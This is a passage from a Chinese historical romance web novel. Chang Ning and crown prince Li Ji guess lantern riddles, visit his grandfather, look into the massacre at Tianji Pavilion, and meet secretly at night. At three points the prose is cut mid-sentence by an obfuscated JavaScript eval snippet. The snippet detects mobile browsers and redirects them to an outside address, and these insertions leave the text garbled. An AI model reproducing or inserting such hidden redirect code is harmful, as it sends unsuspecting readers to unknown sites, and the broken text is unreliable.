最顶上是个栩栩如生的花灯，玉兔望桂，通体琉璃打造，色彩鲜明。 常宁盯着看了一会儿，摊主也注意到常宁了，笑道：“镇店之宝，要连着答对二十道灯谜。” 他也认得常宁，生得和菩萨座下的小仙童似的，往这里一站，他这堆积如山的灯笼光辉也比不得。旁边那个气势拔群，虽没见过，但看那亲昵姿态，兴许是哪个好友。 大魏风气较前朝开放些，年节时少年男女出门游玩，也不惮走在一起的，买个面具罩上就行。常宁一来，摊主眼尖地发现自己这小铺上人也跟着多了，不免想多留常宁一会儿，“你喜欢？猜猜看，图个开心。” “不了。”李稷到街上转悠，常宁不知道他要做什么，忧心耽搁了他，依依不舍地收回目光。 常宁问：“走吗？” 李稷摇头，上前捏住一张离得最近的灯谜。 摊主凑过来，行人的目光也追随而来，听着老板高声唱和：“孔子登山，答一字。” 李稷不假思索：“岳。” “半部春秋。” “秦。” “九十九。” “白。” “嗬，”路人咋舌，“忒快。” 摊主的常客还是小老百姓，大家伙都不识得多少字，猜谜也是图个热闹喜气，并不拗口，大多猜个一两道就止住了。旁边还有人起哄，让李稷一鼓作气，赢摊主几个灯笼。 摊主一抹额角冷汗，扯过第二十道字谜，眼睛一亮，清清嗓子道：“四四方方一座城，里边住着十万兵。另有八万去打仗，还有二万守着城。” “你这不是答字吧？” 摊主得意，望向质问的大叔，“就是字，保真。” 李稷道：“界。” 摊主故作苦恼，笑着摘下最高的灯笼，把里面烧到一半的烛芯换了支新的，挂好了提杆递给常宁，“你们的。” 米黄色的玉兔，翠绿清透的桂叶，常宁越看越心喜。 人太多，李稷自然而然地扣住常宁的手，带着常宁往人少些的地方走。 亮如昼，食肆摊主的氤氲热气在灯光下飘荡。常宁有些口渴，要了碗小甜水润口。李稷不喜欢，在旁边看着。 二人寻了个视野好的酒楼。雅间临街，透过窗子就能看到形形色色的行人和天边炸开的焰火。 常宁把灯笼放下，揉了揉手腕，抿唇低头。 李稷问：“怎么了？” 常宁眨巴眼，眸子清亮，“饿了。” 今晚事情太多，常宁都没吃什么，又过了这么久，早已饥肠辘辘。 刘总管去点了些常宁爱吃的菜。酒足饭饱，常宁情绪都高了，懒洋洋地靠在椅子里。 李稷嘲笑：“没见过你这么难哄的人，一个时辰都不见高兴的。” 常宁搓搓脸颊，吃饱了犯困，眼皮打架，掩唇打了个哈欠，嗓音迷蒙，“那谢谢你哄我了。” “没心没肺，”李稷低骂，拿冷帕子捂在常宁脸上，看常宁一个激灵皱着眉坐直了，“还没完呢。” 常宁还是困，“去哪儿？” 李稷：“孤外祖家。” 常宁嘀咕，“我去不好吧？”中秋节，到时候她杵在那儿，李稷和外祖谈话都不自在。 李稷道：“让你去就去。” 常宁举起手：“去去去。” 西街一处两进院落，古朴典雅，干净整洁。身着松青长褂的老人坐在竹椅里，饮一杯清茶，越过屋檐去看天上的月亮。 门童奔来报太子的消息，老王大人双目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555734|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炯炯有神，忙要去迎，就见他那龙章凤姿的外孙阔步进来，身后跟着个唇红齿白的俊秀少年。 老王大人跪地行礼，李稷无奈，也跪在地上，行了个晚辈礼。常宁都懵了，一看他们俩对拜，也跟着拜下。 李稷扶着老王大人起来。老王大人目光落在常宁身上，回眸询问地看向李稷。 李稷笑笑。 不等老王大人发问，常宁就笑着问好，顺便简要地介绍了下自己。 常宁是见过这位王大人几面的，他的寿辰常宁也去过。但老王大人治家严谨，不许子弟在外胡来，常宁这等跳脱顽皮的，只怕老王大人看一眼就过去了。 没成想老王大人还记得常宁，满面慈爱笑意，“你都这般大了。” 常宁惊讶：“您认得我？” 老王大人矜持颔首，“爱妻在世时，时常提起你。” 王府人多眼杂，儿孙们心思纷杂。老王大人也知道儿子不喜欢大外孙，在外盘下了一座两进的院子，节气时别了儿孙，到这边和大外孙聚一聚。 往常李稷都是一个人来的。政事上有关联的人，李稷不肯带来。若说朋友，李稷也没什么交心的。如今见了常宁，老王大人笑得牙豁子都露出来了，拉着常宁手问来问去。 “哦？他还督促你写功课？” “是呀是呀，”常宁笑着摇了摇头，“可难了。我写得不好，他就不让我回家。” 老王大人笑眯了眼，“臭脾气还挺大。中秋多热闹，宵禁都解了，一年也没几个这样的日子。你们俩出去逛逛去，等会儿人散了，就不好玩了。” “我们玩过了，”常宁摆摆手，眸子晶亮，“我们还猜了灯谜，赢了灯笼，喝了小甜水，吃了好吃的，看了焰火。” 李稷坐进竹椅里，提壶沏茶，听着两人你一言我一语地搭腔，抬眸瞧见一老一少在月光下其乐融融的模样，望着鲜活生动的常宁，胸腔间似有涓涓细流淌过，溢满暖意。 老王大人没想到他这外孙还有这能耐，高兴之余又觉得古怪，转念一想，许是孩子们没受过苦，性情较他们这老一辈柔软，处得亲密些也正常，遂拉常宁投壶。 常宁投进七十多步，回头看老王大人。老王大人得意一笑，让家丁把铜壶挪到百步开外，人虽上了年纪，身体底子却很好，蓄势待发投出一支箭，一击即中。 常宁鼓掌：“宝刀未老！” 一百步！ 常宁要是能投进去，武先生能把常宁供起来！ 和老王大人待到亥时末，常宁心情舒畅，告别过后和李稷走出院子，忍不住道：“我之前怎么不知道老王大人是如此妙人。” “随孤唤外祖父便是。” 常宁寻思，她问的也不是这啊。 无人应答，李稷失笑，怎么就栽在这么个滑溜溜的少年身上，“先前怎么回事，闷闷不乐许多天。” 被李稷戳破，常宁耳根都红了，支支吾吾道：“小事，小事！” 李稷不再追问，“论争取机会，公孙瑾还是有一手的。你今日，九分长都被你说成了三分，是要吃亏的。” 常宁头一次求李稷，当时只顾着紧张羞赧了，诚心实意地点点头，“是。” 李稷坐在马车里，随意翻开一本折子。余光里，常宁时不时看向他，欲言又止。 “什么事？” 常宁吞吞吐吐，桃花眼紧紧看着李稷，“殿下，你真的没事吗？” “没事，”李稷垂下眼睑。早在一开始，李稷就明白父皇会借机刁难，但没想到父皇竟在大庭广众之下给了他一巴掌。以他的骄傲，怎会不羞不怒？然，李稷也不屑于敷粉遮掩。即便他顶着指印撞上朝臣，也无人敢多看多问，惴惴不安地又岂会是他？ 若父皇只能如此惩戒他，只能昭示自己的喜恶而无法对他造成实质性的伤害，李稷反而蔑视他这位父皇。这手段，父皇用了许多年，再多一次，又有什么用呢？ 是父皇亲自将自己推到如今的境地。 李稷偶尔都忍不住想，父皇究竟是老糊涂了，还是暗地里谋划着秘事？终究是天子，李稷从未放松过对他的警惕。 不在意，不意味着听到常宁的关切时不动容。 李稷微笑：“莫要多想。” 他放下折子，拉起常宁的手扣进指缝里，察觉到常宁不自在了一瞬，却没有抵抗排斥，唇角翘起。 常宁卷翘的眼睫扇动，低眸去看两人相握的手。李稷的手大而滚烫，指骨很硬，皮肤几乎紧贴着骨头，看起来很有棱角，鼓起的青筋从指根蔓延到腕口。常宁许是无忧无虑，手上的肉多一些，莹白圆润。 “我就是想殿下你好好的。” 轻得羽毛一样的嗓音落在李稷耳中，血气充盈于心室，涨满一般的快感，凝望着常宁清透的桃花眼，“孤亦如此。” 常宁懵了几息，才反应过来他的意思，一时纷杂思绪涌上心头，呆呆愣着。 李稷捏了捏常宁的手，不满常宁走神，“在想什么？” “我好贪心啊，”常宁道，“我想所有人都平平安安的。爹娘，清河、姑母、殿下，还有云策公孙瑾他们，还有素心。每一个我见过的和没见过的人，我都想他们安宁无忧。但公孙瑾告诉我，百姓过得很苦。孟学洲也暗示我，世道是不太平的。他一定觉得，我念书白念了，什么都不为百姓做，只顾着贪图享乐。” 李稷语气温和：“那便入世。尽一分心力，少一分愧意。” 常宁只是笑笑，并不正面作答，“公孙瑾和孟学洲都推崇殿下，有殿下在就好了。” 李稷喜欢听常宁的称赞，这是其余人所不能带来的喜悦，但看着常宁的笑颜，血肉里便似有根细微的刺，难以忽视。 最终，李稷轻拍常宁肩膀，“无需内疚。在孤看来，他们不如你多矣。世上千里马常有，而伯乐不常有。若没有你慧眼识珠，哪里来得他们的如今？” “那也是他们自己厉害嘛。”常宁并不内疚，只是心头总缭绕着一股说不清道不明的念头，像是不甘，又像是失落，或许还有后怕，连常宁自己也说不清楚，弯眸笑道，“谢谢殿下。” 42. 夜会 被李稷送回家，常宁还有些恍惚。 英国公和姜夫人还没睡下，在房里等常宁。常宁简要地说了下情况，夫妇二人对视一眼，笑道:“小事，你先回去歇着。” 爹娘的性子，天大的事也是小事。常宁一路踢踢踏踏回院子，一会儿想着江湖上那桩案子，一会儿又想着李稷。 往常常宁多是玩乐心态，今夜忽然又觉得不太一样。 譬如从前，她是不可能在告别后想起李稷的。 李稷？常宁皱眉。 忘去祠堂上香了！ 万幸离子时正还有几刻钟，常宁一溜烟跑过去，还来得及。 连着两三天，常宁都忙忙碌碌。 姜夫人虽忙，但时刻关注着常宁，又一天看到英国公提着水桶回来时，不满道：“孩子在外面忙成什么样了，你还有心思钓鱼？” 英国公无奈一笑：“不是夫人你说要我扶不上墙一点吗？再说了，儿孙自有儿孙福，她不出意外，就且随她去。” 姜夫人何尝不知。往日里他们对常宁都持放养态度，知道常宁闲不下来，从没想过要拘束她，“可如今是多事之秋。” “欸，夫人，”英国公揽着她往回走，“咱们做好退路就行。” 常宁有些苦恼。 时间过去太久了，在江湖人士进京报案时，天机阁受害者的尸体已经腐烂，没法得到更多的消息。 而这场案子，尽管十分粗暴，但背后谋划者显然也做得十分周全，全程直截了当地杀人、劫财，不留下一丝透露身份的痕迹，也没有留下一个活口和目击证人。 这是一场目的明确的谋杀，仿佛只是为了天机阁积累下的财富。 在接触这桩案子的第一时间，常宁就派人到市面上察看是否有天机阁印记的金银财宝、干戈弓箭流传。 然而线人给的回复永远都是没有。 将课业交给学舍里的严先生，严先生仔细看了一遍，提笔勾勒出几处不足，苍老面孔上浮现出欣慰，“常生，还需持之以恒。” 常宁看着先生递过来的新策论，对上先生湿润的眼睛，弯唇笑道：“多谢先生教诲。学海无涯，自然不能松懈，只期有一天，学生也能近于道。” “好，好，”严先生不住点头，“少嬉游，多攻读。” 策论写起来很耗费心力。近来御书房学子愈发少，课业却见天地多。这个时候还能留下来的学生，或是不明朝堂暗流汹涌，或是知道了也无可奈何，或是本身就中立。严先生有口难言，只好多留些课业，让他们没那个闲工夫出门，免得碰上什么躲不开的祸事，或是卷进了旁人的争端里，成了替死鬼。 其中又以常宁课业最多。严先生的拳拳爱护之心，常宁体会得到，也感念于他，却不免唏嘘。 有些事，不是常宁不想碰，就能躲得过去的。 摇了摇头，常宁去东宫找李稷。 上次公孙瑾的事情过后，李稷不知用了什么手段，将户部侍郎换成了自己人。 如今眼看边境不太平，隐隐有动乱趋势，怕丢了江山的庆和帝对二皇子予以重任，时常夸赞打赏，二皇子风头日盛。 常宁到时，方俞周大倒苦水，“殿下仁爱，不给二皇子使绊子，可二皇子却不会对殿下心软。”注意到常宁，他没往下说。 李稷背对着常宁，和方俞周盘腿坐在临窗玉簟上，声色沉冷，不容置疑，“凡是与军中有关，都不许卡。” 等他们俩又说了会儿话，方俞周便走了，继续去忙他的事。李稷手边是几本账册，翻得起了毛边，板着脸不知在想什么，直到常宁拿手在他面前晃了晃才回神。 李稷露出个笑：“今日这般闲？莫不是找出线索了。” 常宁的笑一下就消失了，苦恼道：“没有。但这一定不对劲，那么多财宝，要真是被抢走了，怎么可能一点也不流出来。” “总不能是抢过去当陪葬品吧？就算真是陪葬品，这么多东西，墓得多大，都赶得上小诸侯了……” 常宁顿住，若有所思。 李稷听着常宁讲话，推过去一杯茶，“不急，慢慢来。巡盐御史不日就要下江浙，你可要去看看？” “巡盐御史？”常宁疑惑，“我不去。怎么突然就要派巡盐御史去江浙？” 李稷笑笑，“两广和江浙地带用海盐，川渝用井盐。海盐雪白明亮，销路广阔。井盐经大锅熬炼，成色黑上许多。前些日子川渝总督上奏，川渝的井盐大大滞销，捕获了许多在川渝私下贩卖海盐的商人。” 朝廷每年发往各地的盐引有定额，一般根据当地人口来规定各地能够生产哈贩卖的盐量，算在长官的考核里。川渝的盐被江浙的盐商挤得卖不出去，川渝总督的考核就要降了。 常宁还是有疑问，“海盐和井盐差别这么大，为什么川渝总督这么晚才察觉不对？这不是很容易就分辨出走私的盐商了吗？” 李稷道：“财帛动人心。私盐总比官盐便宜，且商人又岂会不伪装？用井盐的炼制方法来制作海盐，即使在滨海，也能造出黑盐。差别有，但没那么大。” 常宁灵光一闪，“那贼人劫走了天机阁的财宝，也不一定要大摇大摆地花出去咯。只要把金银熔炼重塑，上面的印记就都没了，别说拿去陪葬，就是拿出去花，也看不出什么不同。” “你倒有几分急智，”李稷毫不吝啬夸奖，伸指一弹常宁额边的发，“去忙吧，夜里孤再去寻你。” 常宁眨眨眼，“你找我？你很想我吗？” 李稷摇头。 常宁哦了一声，“那我走了。” 回去之后，常宁拜托燕云台帮她查查天机阁附近的土匪。 团体作案且手法相似，常宁第一个想到的是宗门仇怨。然而就目前江湖上的状况来看，这种可能性不高。 保险起见，常宁约见了周盟主。 周盟主衣着简单，疏阔落拓，远远就是一声“宁弟”。 常宁热情地回，“周大哥好。” 周盟主很受用，“找我有事？” 常宁问：“天机阁在江湖上有什么不对付的势力吗？” “查案子？”周盟主挑眉，沉着一笑。他已经不是第一次被问了，“天机阁专心于钻研机关，几乎不与人或宗派结仇。要说他们的杀部，倒还有些可能，可杀部如今却幸免于难。” “即便是同一个宗派，大家也各有专长各有偏好，在一技上深研，不可避免会影响到出招，大概不是宗派寻仇。” “再者，宗派寻仇必然有不小的伤亡，我们没发现哪个邻近宗派有这种情况。” 常宁明白了，认真道谢。 周盟主笑笑，“不用谢，你不记恨我头次见面灌你酒就好了。” “哪里哪里。”常宁连忙摆手。 真记恨了她也不敢说啊。 “这就好，”周盟主心情愉悦，“代我向你姐姐问好。” 常宁点头应下，心头古怪。 平常不应该是向家中长辈问好嘛，怎么到他这里就不一样了。 算了，也许是他只认识她姐姐呢。 李稷忙完已经亥时了，换了身竹绿色锦袍，束青玉发冠，腰间挂了条长笛，乘马车出门。 刘总管点燃檀香，以手作扇挥了挥，和殿下的熏香一致。李稷正撩了车帘，望着漆黑的夜色和灯火已灭的街坊。 “殿下，时辰还早，可要用些点心？”刘总管笑眯眯。亥时过，对普通人来说，或许是睡觉的时间。但对年轻人来说，顶多是睡得晚些，连熬夜都算不上。就单说他家殿下，少时念书习武极勤勉，这个时辰才开始准备沐浴。 提前知会过，常家少爷没这个点睡的理。 马车从常府府门前驶过时，悬挂的灯笼在风里轻轻摇摆。进了府，除了巡视的府丁，万籁俱寂。 李稷步伐轻而快，眸中映着常宁院子里的光亮。 常宁身着单衣，发丝半披半挽，捏着笔管在宣纸上写字，肌肤莹白透亮，看上去清瘦单薄。良久，常宁放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561092|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛笔，转了转手腕，在案上翻来翻去，秀眉微拧，颇为苦恼，还离了席。 李稷正欲上前，就见常宁已然满意地坐了回来，举着巴掌大的铜镜照来照去，挤眉弄眼又咧嘴龇牙的。 常宁正照得开心呢，忽然听得几声低沉的咳嗽，手里的铜镜险些都给丢了，抬眸瞧见李稷，忙放下铜镜，跟着若无其事地咳了两声，“咳，真巧啊。” 李稷颔首，缓步往窗边走。他今夜看起来很俊秀，常宁觉得养眼，多看了两眼，然后僵硬地低头看自己的白中衣，耳尖红了。 完了，李稷再晚来一刻钟，常宁都睡了！ 她给忘了！ 常宁蹭得就要站起来，“等我一会儿，我换身衣服。” 李稷手探进窗子，握住常宁细白的腕骨，微微摇头，“你倒是会纳凉。就这样吧，不来回折腾你。”这般说着，他顺手也解了襟扣，将竹青锦袍搭在窗棂上。 常宁低眸看两人的手，禁不住问道：“这算什么？隔窗夜话吗？要不我出去，又是隔着墙，又是隔着窗子，好怪，要死了。” 李稷：“你可以不说话。” 常宁讪讪闭嘴。这么握了一会儿手，李稷也不说话，风总是把他身上的檀香味吹给常宁，常宁干脆用幸免于难的那只手撑着窗子，翻到了外面。 李稷瞥了一眼被印上半个鞋印的锦袍，又望向看天看地的常宁。几缕发丝被吹到他手上，凉凉滑滑带着水汽，“这么早就沐浴？” 常宁小声遮掩：“习惯了。” 檐角檐角灯摇晃，在常宁脸上打出明灭的光，风吹着半披半束的发丝，衬得人添了几分乖巧柔和。 有那么几个瞬间，李稷恍惚以为常宁是个姑娘，指甲深深陷入手心，对上常宁清透无辜的桃花眸。 他怎么能这么想？ 他爱的是常宁，不论常宁是男子还是女子。期待本就是男儿的常宁是个姑娘，又何尝不是对常宁的蔑视和背叛。 常宁再看过去时，李稷已经带了笑，握着常宁手在院子里转。 到一颗枇杷树前，常宁停下了，抬指指着浓密的树冠，回眸笑看李稷，“我小时候种的，已经长这么高了。” 树上挂着黄橙橙的枇杷果，常宁伸手摘了几颗，顺势掰开李稷手指，将他两只手塞满，“送你了。” 她得意地背过手，展肩一笑。 论解放双手的一百零一种方法！ 李稷也不戳破，跟着常宁闲逛，来回逛了许多遍，常宁无聊得把宝贝花草都取了个名字念给他听，他看着还精神奕奕。 常宁张了张嘴。 体力充沛，精力过人呐！ 李稷：“不请孤喝杯茶？” 常宁只好挑开竹帘，带他进屋子里，给他倒了杯清热解毒的凉茶。 李稷环顾四周，除八折屏风遮蔽的内室，其余尽收眼底。 不如他的清冷寝殿规整，也没有他的寝殿大气，但横生趣味。桌案上，宣纸被镇纸压着，方才写下的策论还未来得及收起，一字一句都可见认真雕琢的痕迹。 “这般晚，怎还写策论？” “先生留的。” “那这铜镜？” 常宁看了看歪歪斜斜倒扣在桌上的铜镜，仿佛又听到了那几声咳嗽，强压下脸上的热意，“您不觉得，沐浴完简直分外英武吗？” 李稷哼笑，“英武没见着，倒是愈发弱气。” 常宁不甘示弱，惊讶着拖长嗓音：“呀，我家府门早就关了，要想进来只能翻墙了吧。也不知道得翻多少墙，这累不累啊。” 李稷：“知道孤要来，你竟不留门的么？” 常宁一噎，眼珠骨碌碌转，“偷偷摸摸才好玩嘛。” 总不能说她给忘了吧？ 李稷眸光怪异地盯着常宁。 常宁咳一声，“呃，我不是变态。” 折腾好半天，终于把李稷送走。常宁净手净面，把自己甩在榻上，手无力地放在身侧。 累死了。 43. 拥抱 二皇子撑额，听着手下人的暗信，悠闲的姿态一顿，“有人查土匪？” 暗卫道：“是。不止查土匪，还查有能力熔金的土匪。” 二皇子呵笑，“盯紧些。” 他猜，背后人想查的，应该是矿山才对。 可惜了，终究只能是徒劳。 …… 李稷和东宫属臣商量过近日事宜。这些日子，倒是有不少臣子明里暗里对他示好。但越是这等时候，对投靠来的臣子的排查，越是不能放松。 方才闭目休憩，李稷耳边便传来一声轻笑。 常宁抱柱半藏在柱后，笑弯了眸子探头看他。 “殿下！” 常宁噔噔噔小跑过去。 李稷唇边漾起一抹笑，连日来的疲惫一扫而空，“怎么了？” “我有件事要和你讲。”常宁桃花眸明亮，饱含笑意。 “说。” 常宁伸掌搭在李稷耳边，凑近小声讲话。 李稷耳边又热又痒，还能嗅到常宁身上若有若无的香气，“唔，再讲一遍。” 常宁不满：“你是不是没认真听？” “是，”盯着常宁红润的唇，李稷轻啄一下，“孤在想你。” 常宁耳根红了，和他拉开距离，低咳一声，“我们是正经人，要做正经事的。” 秋阳的金芒透过窗子斜斜照进来，打在李稷月白银云纹锦袍上，勾勒团龙的银线流光闪闪，衬得李稷宛如仙人，声如碎玉，“你说，天机阁遭受的劫难不是江湖人所为，乃是朝廷官员胡作非为？” 常宁暗暗欣赏了一番李稷的容貌，用力点头，“是。我问了周盟主，也明里暗里拜访过在京的几个宗派，江湖人大抵是不会动手的。相反，江湖上最精良的武器都由天机阁制作，他们不舍得覆灭天机阁。” 李稷唔了一声，胳膊肘搁在椅圈上，一手撑着脑袋，语音含笑，“那土匪呢？” “我也想过是不是他们，”常宁道，“但那周围的土匪我查过，都是一盘散沙。这么周密的群体谋杀，必定要令行禁止，否则一定会在现场留下破绽。且土匪劫财，不会只劫掠金银财宝，其他宝贵的物什，会一并劫走。可天机阁却只是少了金银财宝，若是土匪作案，这土匪组织未免太强、眼界未免太高。” 李稷凤眸中刮过一抹光亮，展颜一笑，若冰雪消融，嗓音里满是漫不经心，“宁宁，凡事要讲证据。” “殿下，你不信我，”常宁半蹲下身，鼻尖几乎要与李稷相贴，水润的眼眸瞪得圆溜溜的，“我有证据的，我连人在哪儿都知道了。” 朝思暮想的秀美脸庞在眼前放大，李稷呼吸有一瞬的停滞，微微坐直了身子，不小心擦过常宁唇畔，“哦？说来听听。” 常宁狐疑地瞥一眼李稷微红的脸色，倒豆子一般说出来，“既然是团体作案，那八成是聚居在一处的。凡事只要做了，就会留下痕迹。” 她起先只想找能熔炼金银的土匪窝，循着矿脉查。那么多金银，熔炼起来需要的人手不在少数，要聚在一处做各种工作。这样一来，衣食住行难免疏忽，需要用到的米面布帛等日用品，只能从外界购买。 可熔炼金银，说大不大，说小也不小，单单用到的工具，寻常土匪便很难凑齐，更遑论工艺。再者，有了这手技艺，私下铸币也不过是时间问题。对这类土匪，朝廷是严厉打击的。 若没被打击，要么是太隐蔽，要么是背后有人官官相护。再严重一点，便是土匪势力太大。但这点显然不可能。 常宁四处看看，又凑近到李稷身边，小声道：“那边近些年不是总有人失踪嘛，就是他们劫过去做苦力的，被压榨得可惨了，隔几天就有人累死饿死或被生生打死。” 这般叽里咕噜说了一通，常宁连地点都说出来了，“我们还有证据呢，绝对和贺成华有关系，官府派人一问便知。” 李稷颔首：“倒是小瞧了你。” “当然，”常宁借机吐槽，“那等一心贪图我家钱财的蠢人，当真是鱼目混珠、舍本逐末，连哼唧哼唧的小猪崽都不如！” 李稷：“……骂人别带孤。” “怎么会呢，你们不一样，”常宁笑笑，满脸兴奋，“那殿下，你什么时候踩贺成华一脚？” “现下动不得，”李稷道，“边关不稳，正是用人的时候。贺成华干多了这事，绝不会亲自出面，顶多派亲信去处理，父皇最多治他御下不严，伤不到根本。” 庆和帝虽不大管事，最近又沉迷修仙炼丹，但在可能会让他丢了江山的事情上，从不容许旁人插手。二皇子母族领兵多年，处理此类可有可无的罪名，全看庆和帝心意。至少在此刻，庆和帝不会让二皇子元气大伤。 反而会让李稷在庆和帝眼里沦为目光短浅、心胸狭隘之徒。 “是吗？姓贺的那天晚上还亲自问我勒索骗钱呢，看起来笨死了，”常宁略有些失望，叹气道，“那就让百姓和天机阁的人白白死了？不如趁机威胁威胁他，把您的人换几个到边关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李稷指尖微动，推开常宁，“别闹。” 常宁不满：“我哪里闹了？” 李稷凤眸半敛：“再等一等。” 常宁哼了一声，负气出走，绕过屏风，又探头来看，笑弯了眼打量李稷，“殿下先前说那些过分的话，也没见脸红啊，怎么抱一下就害羞？” 没来得及看李稷的反应，常宁就拍拍手先溜了。 44. 同榻 每逢十五，庆和帝都会在宫里设家宴。 灯火通明，帝王后妃齐聚一堂。转眼二十余载，庆和帝望着殿下的皇子皇女，还有身侧的幼弟安亲王，俱已长大成人了。 庆和帝先看着，举目眺望明灿灿的宫城和宵禁下黑漆漆的魏都，眉目中溢上一丝惆怅。 德妃已向庆和帝和王皇后提过数次李稚的婚事，皆被庆和帝以李稚年幼推脱了回去。 家宴上，庆和帝向来不设大规矩，亦未着冠冕、未带方士与国师，只是穿一身仙风道骨的道袍，美须飘飘，身形清瘦如鹤。 正对安亲王的席案上，太子李稷自斟自酌，山峦一般威严锋锐的脸庞上不挂笑意，察觉到了庆和帝的视线，便举杯低首，遥遥敬了一杯。庆和帝懒得多看这死人脸一眼，目光移到李稷之后的皇子皇女身上。 二子相貌随贵妃，生得昳丽，爱饮美酒。贵妃派来的女使正跪坐在旁，紧张地盯着他，免得他醉酒头疼。瞧见了庆和帝，二皇子露出个笑，无声叫了句父皇，也敬了一杯。庆和帝颔首，对二子笑了笑。 三皇子见了美酒美食便止不住口，筷子风卷残云，皇后特意派信重的嬷嬷督促他注重仪态。三子撞上庆和帝的视线，脸被口中的佳肴噎得通红，艰难咽了下去，夹起一块胭脂鹅脯歪头问：“父皇要吃吗？” 庆和帝神情有一丝皲裂，瞧见他就想起中秋那夜被他哭得一把鼻涕一把泪的衣袍，哼了一声移开目光。 李稷一杯一杯饮冷酒，刘总管劝道：“殿下用些下酒菜，空腹饮酒伤身。奴才叫人将这酒温一温您再用，如何？” “下去吧，不过是些酒，无大碍的。”李稷道。寻常他极注重这些，因着身体康健处理政务时才好事半功倍，今夜却总觉气闷。 相比起日日相见的皇子皇女，庆和帝更关心安亲王。这些日子将安亲王留在宫里教导皇室礼仪和京中关系利害，安亲王已越发俊秀出众，庆和帝瞧着心喜，“承恩，你可有心仪之人，今夜朕为你赐婚。” 此言一出，倒有不少人看向太子。 贵妃笑道：“陛下可不要厚此薄彼呀，太子也要到成亲的年龄了，何不一同赐了婚？” 太子不娶妻，王皇后不急，贵妃却着急。二皇子小太子几个月，太子不成家，贵妃也不好为二皇子张罗。 庆和帝哂笑：“儿大不由爹。太子是个有主意的，朕赐了婚，指不定还要怨上朕的儿媳，不美，不美。好了，贵妃，知你一片慈母心肠，如此挂心太子，但今夜只谈承恩的事，其余的往后再说。” 李稷已经习惯了庆和帝时不时刺他两句，开口简短地解释了，依旧神清气爽地斟酒。王皇后变了脸色，看看满面笑意的贵妃，再看看无知无觉、看也不看她一眼的太子，心下难堪。 安亲王道：“臣弟恭谢天恩。皇兄恩德，臣弟铭记在心。只是臣弟如今还没遇上心仪之人，可否待来日心中有了章程，再请皇兄赐婚？” 庆和帝道：“这有何难，朕便赐你一道圣旨。往后承恩遇上了心仪的姑娘，甭管是朕还是你哪位皇侄，捧着圣旨来求婚便是。” 二皇子看向李稷，笑问：“皇兄，畅快否？” 父皇此言，亦是对他们兄弟几个表态，虽他极其宠爱这位幼弟，甚至越过了他们去，但却不会让安亲王有和他们争的机会。 二皇子笑意更深。甭管是安亲王哪位皇侄？父皇可没明说是谁，也没说不让他们兄弟几个争。 李稷视若无睹。刘总管目不斜视，只一心给李稷布菜。 夜宴散尽，李稷换了身衣裳，盥洗过后，负手望着无尽月色。 李稷依稀记得，少时他与两位皇弟关系都不错。渐渐晓了事，关系反倒疏远了起来，为了皇位明争暗抢。 夜风猎猎，衣袍在风中鼓动，清寒孤寂。自幼时起，太傅便教导他们兄弟几人施政以德，克制私欲，做百姓的衣食父母。 生在天家，不得不争。李稷若败，背后支持李稷的臣僚也将淡出朝政、受人冷眼，宫里的亲信亦将被血洗。 这般冷清的日子，惟有与众臣一同浸淫在政务之中，学着去治国理政、救济百姓，才会生起几分快慰。 常宁只畏惧公孙瑾，却不知他李稷才是最罪孽深重的那个。不知有多少人的抄家流放、斩首示众背后有他的推手，为达目的，也不得不对政敌下死手。 百姓渐渐模糊成鱼鳞图册上一个个扭曲的数字，李稷也不知道哪一天他会疯掉，像父皇那样除了江山什么都不在意。只要江山在手里，百姓苦不苦、官吏尽不尽职、皇亲国戚是否鱼肉百姓……只要天下还姓李，就没有什么值得垂顾的。 他真怕他会像父皇那样冷血无情。 及至今日，连政务上的推进也很难在心中激起波澜了。 说不清是出于什么，李稷前往英国公府，轻车熟路地去寻常宁。 常宁院里亮着稀疏的灯火，正坐在秋千上，一手提着小巧的琉璃灯，一手绕过纤绳去揉惺忪的眸子。 李稷从常宁背后走过来，认出这盏灯是中秋时猜灯谜得来的，影子打在常宁身上，“做什么？” 常宁困意还没下去，被李稷突然起来的声音吓得蹭一下站了起来，险些没站稳。常宁瞌睡全跑了，把琉璃灯塞给李稷，笑眯眯仰头看他，“我在等殿下啊。殿下怎么出汗了，很热吗？” 李稷：“你家的墙太高。” 常宁笑着摆摆手：“比不得皇宫嘛。”她拉着李稷到屋子里坐下，托着下巴绕着屋子踱步一圈，快步过去给李稷倒了杯茶，“你先喝着，我去去就回。” 李稷浅啜两口，便不再动。桌上，常宁的休闲读物已经从才子佳人发展到了志怪话本，掀开的那一页还写了句“好可怕，别找我”的旁批。 橘色烛光透过灯纱，如水一般在室内荡漾开来。过上片刻，常宁微喘着气推开门，从水囊里倒出醒酒汤，以手做扇扇了扇，“委屈殿下将就些，我悄悄拿来的。” 怕被爹娘知道，常宁不敢惊动膳房的人，一路上做贼似的，提心吊胆。这一回来，就瘫在椅子上，不满道：“殿下，两人分量的酒，你一个人全喝了，都不叫我。” 